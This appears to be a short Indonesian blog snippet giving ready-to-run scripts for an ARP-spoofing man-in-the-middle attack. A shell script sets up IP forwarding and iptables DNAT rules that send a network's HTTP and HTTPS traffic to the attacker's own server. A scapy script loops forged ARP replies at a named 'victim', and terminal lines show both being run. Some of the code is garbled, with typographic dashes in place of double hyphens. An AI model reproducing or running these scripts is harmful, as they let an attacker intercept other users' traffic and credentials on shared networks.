Click toRead More
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 0 > /proc/sys/net/ipv4/conf/$INTERFACE/send_redirects
iptables –flush
iptables –zero
iptables –delete-chain
iptables -F -t nat
iptables –append FORWARD –in-interface wlan0/eth0 –jump ACCEPT
iptables –table nat –append POSTROUTING –out-interface wlan0/eth0 –jump MASQUERADE
iptables -t nat -A PREROUTING -p tcp –dport 80 –jump DNAT –to-destination 10.42.43.23
iptables -t nat -A PREROUTING -p tcp –dport 443 –jump DNAT –to-destination 10.42.43.23
#!/bin/sh
INTERFACE=”wlan0″ #cek interface dg mengetikan ifconfig di terminal
SERVERWEB=’10.42.43.23′ #ip ente
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 0 > /proc/sys/net/ipv4/conf/$INTERFACE/send_redirects
#clear rule..
iptables –flush
iptables –zero
iptables –delete-chain
iptables -F -t nat
iptables –append FORWARD –in-interface $INTERFACE –jump ACCEPT
iptables –table nat –append POSTROUTING –out-interface $INTERFACE –jump MASQUERADE
#rendirect traffic.. on my server/proxy
iptables -t nat -A PREROUTING -p tcp –dport 80 –jump DNAT –to-destination $SERVERWEB
iptables -t nat -A PREROUTING -p tcp –dport 443 –jump DNAT –to-destination $SERVERWEB
from scapy.all import *;
from time import sleep;
conf.iface=’wlan0′;#network card
target=”10.42.43.1″;#target /victim
router=”10.42.43.1″;#routernya
packet = ARP(); #bikin packet :P
packet.psrc = router # Gateway
packet.pdst = target # victim v.v
try:
while 1:
send(packet, verbose=0);
sleep(50);
except:
pass
ifconfig
di terminal)ichamedusa@359imbox:~$/home/ichamedusa$ ./nama.sh
ichamedusa@359imbox:~$/home/ichamedusa$ python nama.py